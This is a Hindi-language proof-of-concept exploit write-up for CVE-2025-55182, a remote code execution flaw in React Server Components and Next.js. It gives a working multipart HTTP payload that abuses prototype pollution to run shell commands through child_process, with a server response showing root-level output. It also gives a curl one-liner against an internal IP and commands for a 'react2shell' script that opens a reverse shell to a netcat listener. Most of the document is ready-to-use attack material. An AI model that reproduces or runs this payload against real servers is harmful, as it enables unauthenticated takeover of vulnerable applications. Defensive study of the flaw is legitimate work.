
CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: React Server Components में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE, जो कमजोर RSC/Next.js एंडपॉइंट्स पर मनमाना कमांड निष्पादन और रिवर्स शेल सक्षम करता है।

CVE-2025-55182 एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है जो React सर्वर कम्पोनेंट्स (RSC) को प्रभावित करती है।
यह कमजोरी अप्रमाणित हमलावरों को कमजोर सर्वरों पर मनमाना कोड निष्पादित करने की अनुमति देती है।
यह समस्या React सर्वर कम्पोनेंट सर्वर फंक्शन एंडपॉइंट्स में असुरक्षित डिसीरियलाइज़ेशन से उत्पन्न होती है। अनुचित सत्यापन विशेष रूप से तैयार किए गए अनुरोधों को दुर्भावनापूर्ण पेलोड निष्पादित करने की अनुमति देता है।
क्योंकि React-आधारित फ्रेमवर्क व्यापक रूप से तैनात हैं, हमले की सतह अत्यंत बड़ी है।
कमजोर संस्करणों में शामिल हैं:
react-server-dom-webpack 19.0.0 – 19.2.0
react-server-dom-parcel 19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0
इन पैकेजों के ऊपर बने फ्रेमवर्क (जैसे, कमजोर संस्करणों का उपयोग करने वाले Next.js ऐप्स) भी प्रभावित हो सकते हैं।
यह दोष निम्न कारणों से होता है:
यह हमलावरों को दुर्भावनापूर्ण पेलोड तैयार करने में सक्षम बनाता है जो सर्वर पर निष्पादित होते हैं।
| श्रेणी | मान |
|---|---|
| कमजोरी | रिमोट कोड एक्ज़ीक्यूशन |
| प्रमाणीकरण आवश्यक | ❌ नहीं |
| हमला वेक्टर | 🌐 नेटवर्क |
| गंभीरता | 🔴 गंभीर |
| जंगली में शोषण | ⚠️ हाँ |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
वापस आएगा:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
ubuntu (या इसी तरह)।sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"
रिवर्स शेल के लिए:
nc -lvnp 4444sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444यदि आपका एप्लिकेशन React सर्वर कम्पोनेंट्स का उपयोग करता है, तुरंत पैच करें। देरी से जोखिम बढ़ जाता है।